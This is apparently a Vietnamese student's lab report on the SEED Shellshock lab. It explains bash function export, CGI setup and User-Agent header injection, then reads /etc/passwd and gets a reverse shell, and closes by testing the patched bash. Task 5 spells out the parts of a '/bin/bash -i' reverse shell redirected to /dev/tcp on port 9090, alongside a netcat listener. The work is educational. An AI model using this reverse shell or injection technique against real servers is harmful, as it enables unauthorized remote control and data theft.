Sau đó, chúng tôi sử dụng lệnh export để chuyển đổi biến shell đã xác định này thành một biến môi trường.. Ở đây, như chúng ta thấy, chương trình bash không chuyển đổi biến môi trường đư
Trang 1BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TOÀN THÔNG TIN
THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH
AN TOÀN PHẦN MỀM
NGHIÊN CỨU LỖ HỔNG SHELLSHOCK
(SHELLSHOCK VULNERABILITY LAB)
………
Giảng viên hướng dẫn: PGS.TS Lương Thế Dũng
Sinh viên thực hiện: Huỳnh Hải Bằng Lớp: AT15H
Mã số sinh viên: AT150802 Nhóm: 13
Khóa: 2018-2023
TP Hồ Chí Minh, tháng 11 năm 2021
Trang 2BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TOÀN THÔNG TIN
THỰC TẬP CƠ SỞ CHUYÊN NGÀNH
AN TOÀN PHẦN MỀM
NGHIÊN CỨU LỖ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB)
Nhận xét của giáo viên hướng dẫn:
Điểm báo cáo:
Xác nhận của giáo viên hướng dẫn:
Trang 3LỜI CẢM ƠN
Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũng–giảng viên trực tiếp hướng dẫn, chỉ bảo, tạo mọi điều kiện thuận lợi giúp đỡ chúng em trong quá trình thực hiện
đề tài
Để có được thành quả như ngày hôm nay, ngoài sự nỗ lực không ngừng nghỉ của các thành viên trong nhóm thì một phần không nhỏ đóng góp nên thành công này là nhờ sự quan tâm, chỉ bảo, giúp đỡ của các thầy cô, các anh chị khóa trên và bạn bè xung quanh
Tuy đã có rất nhiều cố gắng và sự nỗ lực của các thành viên để hoàn thiện đề tài,
nhưng chắc chắn đề tài “NGHIÊN CỨU LỖ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB)” của chúng em còn nhiều thiếu sót Chúng em rất mong nhận
được sự góp ý từ các thầy giáo để nhóm em có thể hoàn thiện tốt hơn các đề tài nghiên cứu sau
Chúng em xin chân thành cảm ơn!
Trang 4LỜI MỞ ĐẦU
Ngày nay, với xu hướng chuyển đổi số mạnh mẽ của các doanh nghiệp, công ty, tổ chức dẫn đến việc tạo ra những phần mềm quản lý, điều hành và làm việc cũng hết sức thiết yếu Bên cạnh đó, ảnh hưởng của đại dịch COVID-19 cũng đã thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm khi tạo ra và vận hành tránh bị kẻ xấu tấn công gây thiệt hại nghiêm trọng Đó cũng là lý do để chúng em chọn chuyên đề Software Security và đặc biệt là nghiên cứu lỗ hổng Shellshock
Trang 5MỤC LỤC
LỜI CẢM ƠN 3
LỜI MỞ ĐẦU 4
MỤC LỤC 5
CHƯƠNG I : TỔNG QUAN VỀ LỖ HỔNG SHELLSHOCK 6
1 Giới thiệu về ShellShock 6
2 Giới thiệu về Environment Variables 6
3 Giới thiệu về Apache and CGI program 6
CHƯƠNG II : PHÂN TÍCH VÀ THỰC BÀI LAB THEO TỪNG TASK 7
2.2 Task 2: Thiết lập các chương trình CGI 9
2.3 Task 3: Truyền dữ liệu sang Bash thông qua biến môi trường 10
2.4 Task 4: Khởi động cuộc tấn công ShellShock 11
2.5 Task 5: Nhận ReverseShell thông qua ShellShock Attack 12
2.6 Task 6: Sử dụng Patch Bash 13
CHƯƠNG III : KẾT LUẬN 16
TÀI LIỆU THAM KHẢO 17
Trang 6CHƯƠNG I : TỔNG QUAN VỀ LỖ HỔNG SHELLSHOCK
1 Giới thiệu về ShellShock
Shellshock, còn được gọi là Bashdoor, là một lỗ hổng bảo mật trong Bash, được công bố rộng rãi vào ngày 25 tháng 9 năm 2014 Nhiều dịch vụ mạng, như các máy chủ web, sử dụng Bash để thực thi lệnh khi cần thiết, cho phép kẻ tấn công khai thác lỗ hổng bảo mật Shellshock ở những phiên bản Bash lỗi để phục vụ những mục đích đen tối của chúng Lỗ hổng bảo mật này giúp kẻ tấn công chiếm quyền điểu khiển các máy nạn nhân
mà không cần phải qua bước xác thực
2 Giới thiệu về Environment Variables
Biến môi trường là giá trị động ảnh hưởng đến phần mềm và tiến trình hoạt động trên server Biến môi trường – environment variable có trên mọi hệ điều hành và có nhiều loại khác nhau Biến môi trường có thể được tạo, chỉnh sửa, lưu hay xóa Biến môi trường của linux chứa thông tin hệ thống, mà sẽ chuyển dữ liệu đó đi cho phần mềm trong shells hoặc sub-shells
3 Giới thiệu về Apache and CGI program
CGI là viết tắt của Common Gateway Interface, tạm dịch là giao diện cổng chung CGI cung cấp một phần mềm trung gian giữa các máy chủ với cơ sở dữ liệu và nguồn
thông tin bên ngoài Trong đó máy chủ HTTP và 1 CGI script sẽ chịu trách nhiệm phản hồi yêu cầu từ người dùng
Trang 7CHƯƠNG II : PHÂN TÍCH VÀ THỰC BÀI LAB THEO TỪNG
TASK 2.1 Task 1: Thử nghệm với hàm Bash
Lỗ hổng shellhock trong bash liên quan đến các hàm shell - các hàm được xác định bên trong shell Nó khai thác sai lầm do bash mắc phải khi chuyển đổi các biến môi trường thành các định nghĩa hàm Để chứng minh cuộc tấn công, chúng tôi thực hiện thử nghiệm sau:
Ở đây, trước tiên chúng ta xác định một biến và bằng cách sử dụng echo, chúng ta sẽ kiểm tra nội dung của biến Một hàm shell đã xác định có thể được in bằng lệnh tuyên bố,
và như bạn thấy ở đây, shell không in gì cả vì không có hàm nào có tên foo được định nghĩa Sau đó, chúng tôi sử dụng lệnh export để chuyển đổi biến shell đã xác định này thành một biến môi trường Và sau đó chúng tôi chạy shell dễ bị tấn công bash_shellshock, quá trình này tạo ra một process shell con Việc chạy các lệnh tương tự ở đây chỉ ra rằng biến shell được định nghĩa trong tiến trình cha không còn là một biến shell nữa mà là một hàm shell Vì vậy, khi chạy hàm này, chuỗi được in ra
Using /bin/bash_shellshock
Trang 8Thực hiện theo các bước tương tự, nhưng với sự thay đổi sử dụng bash cố định thay
vì bash_shellshock dễ bị tấn công, chúng ta thấy rằng bash shell không dễ bị tấn công shellshock Biến môi trường được chuyển từ quy trình mẹ được lưu trữ dưới dạng một biến chỉ trong quy trình con
Ở đây, như chúng ta thấy, chương trình bash không chuyển đổi biến môi trường được truyền vào thành một hàm mà vẫn giữ nó như một biến shell Điều này chứng tỏ rằng
nó không còn dễ bị khai thác bởi lỗ hổng shellshock nữa
Trước đây, vấn đề trong cách lập trình bash Bash của quy trình con đã chuyển đổi các biến môi trường thành các biến shell của nó và trong khi làm như vậy, nếu nó gặp phải một biến môi trường có giá trị bắt đầu bằng dấu ngoặc đơn, nó sẽ chuyển đổi nó thành một hàm shell thay vì một biến Đó là lý do tại sao có sự thay đổi trong hành vi trong quy trình con so với quy trình mẹ, dẫn đến lỗ hổng shellshock Nhưng như đã thấy trong thử nghiệm sau đó, /bin/bash vẫn giữ lại biến và do đó không dễ bị tổn thương bởi lỗ hổng shellhock trái ngược với /bin/bash_shellshock dễ bị tổn thương
Trang 92.2 Task 2: Thiết lập các chương trình CGI
Đầu tiên, chúng ta tạo một tệp cgi với mã đã cho trong thư mục /usr/lib/cgi-bin, đây
là thư mục CGI mặc định cho máy chủ web Apache Chương trình đang sử dụng bash_shellshock dễ bị tấn công làm chương trình shell của nó và tập lệnh chỉ in ra ‘Hello World’ Ngoài ra, chúng tôi thay đổi quyền của tệp để làm cho tệp có thể thực thi được bằng cách sử dụng các đặc quyền gốc Như hình ảnh sau:
Tiếp theo, chúng ta chạy chương trình cgi này từ Web bằng lệnh sau và vì máy chủ web đang chạy trên cùng một máy với máy của cuộc tấn công, chúng ta sử dụng localhost làm tên máy chủ / IP
Trang 10Ở đây, chúng tôi thấy rằng tập lệnh của chúng tôi chạy và ‘Hello World’ được in ra Điều này chứng tỏ rằng chúng ta có thể gọi chương trình cgi của mình thông qua curl
2.3 Task 3: Truyền dữ liệu sang Bash thông qua biến môi trường
Chúng ta biết rằng khi Máy chủ Apache nhận được một yêu cầu CGI, nó sẽ tạo ra một tiến trình con mới thực thi chương trình CGI Nếu chương trình cgi bắt đầu bằng
#!/bin/bash, nó có nghĩa là nó là một tập lệnh shell và việc thực thi chương trình sẽ thực hiện một chương trình shell Vì vậy, trong trường hợp của chúng ta, chúng ta biết rằng khi chương trình CGI được thực thi, nó thực sự thực thi /bin/bash_shellshock
Để cuộc tấn công shellhock thành công, cùng với việc thực thi bash shell dễ bị tấn công, chúng ta cũng cần chuyển các biến môi trường cho chương trình bash Ở đây, Máy chủ Web cung cấp chương trình bash với các biến môi trường Máy chủ nhận thông tin từ máy khách bằng cách sử dụng các trường nhất định giúp máy chủ tùy chỉnh nội dung cho máy khách Các trường này được chuyển bởi khách hàng và
do đó người dùng có thể tùy chỉnh Vì vậy, chúng tôi sử dụng trường tiêu đề tác nhân người dùng có thể được khai báo bởi người dùng và được sử dụng bởi máy chủ web Máy chủ chỉ định trường này cho một biến có tên HTTP_USER_AGENT Khi máy chủ web yêu cầu tiến trình con thực thi chương trình CGI, nó sẽ chuyển biến môi trường này cùng với các biến môi trường khác đến Chương trình CGI Vì vậy, trường tiêu đề này thỏa mãn điều kiện của chúng ta về việc truyền một biến môi trường vào shell và do đó có thể được sử dụng Trường tùy chọn ‘-A’ trong lệnh curl có thể được sử dụng để đặt giá trị của trường tiêu đề ‘Tác nhân người dùng’, như được thấy bên dưới:
Trang 11Chúng tôi thấy rằng giá trị của trường ‘Tác nhân người dùng’ được lưu trữ trong giá trị ‘HTTP_USER_AGENT’, một trong những biến môi trường Tham số -v hiển thị yêu cầu HTTP Đây là cách dữ liệu từ máy chủ từ xa có thể vào các biến môi trường của chương trình bash
2.4 Task 4: Khởi động cuộc tấn công ShellShock
Đánh cắp nội dung của tệp passwd trên server:
Ở đây, chúng tôi sử dụng lỗ hổng của bash_shellshock và chuyển một biến môi trường bắt đầu bằng ‘() {’ - chỉ ra một hàm cho quy trình con, sử dụng trường tiêu đề tác nhân người dùng của yêu cầu HTTP Lỗ hổng trong chương trình bash không chỉ chuyển đổi biến môi trường này thành một hàm mà còn thực thi các lệnh shell có trong chuỗi biến môi trường
Ở đây, vì tôi truyền một lệnh shell để nối tệp mật khẩu, nên nó sẽ in nội dung của tệp mật khẩu trên thiết bị đầu cuối Như đã thấy, tệp mật khẩu thực sự được đọc và in ra,
do đó hiển thị một cuộc tấn công thành công Ở đây, đáng lẽ chúng tôi không được phép đọc bất kỳ tệp nào trên máy chủ, nhưng do lỗ hổng trong tệp cơ sở được sử dụng bởi chương trình CGI, chúng tôi đã thành công khi đọc tệp máy chủ riêng
Đánh cắp nội dung của tệp shadow trên server:
Trang 12Khi thử cùng một phương pháp, đọc tệp từ máy chủ, để đọc tệp shadow trên server, chúng tôi thấy rằng chúng tôi không thành công Điều này là do chủ sở hữu của tệp shadow luôn là root và người dùng bình thường không có quyền thậm chí đọc tệp
2.5 Task 5: Nhận ReverseShell thông qua ShellShock Attack
Reverse Shell về cơ bản là khi một shell chạy trên máy của nạn nhân, nhưng nó lấy đầu vào từ máy của kẻ tấn công và đầu ra cũng được hiển thị trên máy của kẻ tấn công
Ở đây, chúng ta sử dụng netcat (nc) để lắng nghe kết nối trên cổng 9090 của máy chủ TCP (được thiết lập bởi tham số -l trong lệnh.) Sau đó, chúng ta sử dụng lệnh curl
để gửi lệnh bash đến máy chủ trong user-agent Lệnh bash như sau:
Trang 13chủ {như đã thấy bằng cách sử dụng id - trong đó uid là của máy chủ} Điều này dẫn đến một trình bao đảo ngược thành công Các tham số lệnh trên xác định như sau:
1 “/bin/bash -i”: Tạo lời nhắc shell, trong đó -i là viết tắt của interactive
2 “> /dev/tcp/10.0.2.15/9090”: Đầu ra của shell được chuyển hướng đến cổng 9090 của 10.0.2.15 qua kết nối TCP
3 “0<&1”: Ở đây, số 0 cho biết bộ mô tả tệp của thiết bị đầu vào tiêu chuẩn và 1 là bộ mô
tả tệp của thiết bị đầu ra tiêu chuẩn Tùy chọn này cho biết rằng hãy sử dụng thiết bị đầu
ra tiêu chuẩn làm thiết bị đầu vào tiêu chuẩn Ở đây, vì stdout đã được hướng đến kết nối TCP, đầu vào cho chương trình shell được lấy từ cùng một kết nối TCP
4 “2>&1”: Bộ mô tả tệp 2 chỉ ra trình tạo lỗi stderr Việc gán này khiến đầu ra lỗi được chuyển hướng đến stdout, đây là kết nối TCP
Ở đây, chúng ta đã đạt được trình bao ngược bằng cách sử dụng lỗ hổng trong chương trình bash đang được sử dụng bởi chương trình CGI ở phía máy chủ Chúng ta gửi một lệnh shell ngược độc hại dưới dạng một tham số được cho là mang thông tin tác nhân người dùng Điều này giúp chúng tôi chuyển nội dung của trường tiêu đề dưới dạng một biến môi trường đến chương trình CGI Khi bash nhận được biến này, nó sẽ chuyển biến này thành một hàm do sự hiện diện của ‘() {’ Cùng với đó, lỗ hổng trong chương trình bash giúp thực thi lệnh shell Lệnh shell này gọi / bin / bash trong một chế độ tương tác và hướng đầu ra đến cổng 9090 của kết nối TCP và đầu vào và đầu ra lỗi cũng được chuyển hướng đến kết nối TCP này Trong một thiết bị đầu cuối khác, chúng ta sử dụng lệnh netcat để lắng nghe bất kỳ kết nối nào trên cổng 9090 và chấp nhận một kết nối khi nhận được Tại đây, kết nối của máy chủ được chấp nhận Khi cuộc tấn công thành công, chúng ta nhận được một shell tương tác của máy chủ (Máy chủ là máy riêng của chúng tôi ở đây)
Đây là cách chúng ta sử dụng shell đảo ngược để truy cập thông qua lỗ hổng shellhock
2.6 Task 6: Sử dụng Patch Bash
Ở đây, chúng ta thấy rằng khi sử dụng /bin/bash, chúng ta vẫn có thể chuyển các biến môi trường cho chương trình CGI bằng cách sử dụng trường tiêu đề tác nhân người dùng theo cách giống như trước đây
Trang 14Điều này cho thấy rằng chúng ta có thể gửi dữ liệu tùy ý đến máy chủ dưới dạng các biến môi trường ngay cả trong trường hợp được vá /bin/bash
Ở đây, chúng ta thấy rằng shell đảo ngược không được tạo thành công và do đó
có thể nói rằng nó không thành công trong trường hợp /bin/bash Trường tiêu đề
"user-agent" được chuyển trong lệnh curl sử dụng -A được đặt theo cách tương tự trong biến môi trường “HTTP_USER_AGENT”
Trang 15Ở đây, cuộc tấn công không thành công vì chương trình bash không chuyển đổi biến môi trường thành một hàm và do đó bất kỳ lệnh nào trong đó không được thực thi
Điều này cho thấy rằng mặc dù chúng ta có thể chuyển các biến môi trường do người dùng xác định đến máy chủ, nó không dễ bị tấn công shellshock do việc sử dụng fixed /bin/bash_shell Vì vậy, chúng ta không thể đạt được trình bao ngược bằng cách sử dụng cơ chế này nữa, bởi vì nó đang khai thác lỗ hổng shellshock, lỗ hổng này không còn nữa
Trang 16CHƯƠNG III : KẾT LUẬN
Giúp nhanh chóng biến các cuộc tấn công thực tế thành tài liệu giáo dục, để người hướng dẫn có thể đưa chúng vào lớp học của họ trong một cách kịp thời và giữ cho học sinh của
họ tương tác với những gì xảy ra trong thế giới thực Phòng thí nghiệm này bao gồm theo chủ đề:
• ShellShock
• Các biến môi trường
• Định nghĩa hàm trong Bash
• Các chương trình Apache và CGI
Trang 17TÀI LIỆU THAM KHẢO
[1]MeghaJakhotia, "Shellshock," [Online] Available:
https://github.com/MeghaJakhotia/ComputerSecurityAttacks/tree/master/Shellshock [2]firmianay, "shellshock-attack-lab.md," [Online] Available:
https://github.com/firmianay/Life-long-Learner/blob/master/SEED-labs/shellshock-attack-lab.md
[3]li-xin-yi, "Shellshock-Attack," [Online] Available:
https://github.com/li-xin-yi/seedlab/tree/master/Shellshock-Attack
[4]W Du, "Shellshock Attack Lab," [Online] Available:
https://seedsecuritylabs.org/Labs_16.04/Software/Shellshock/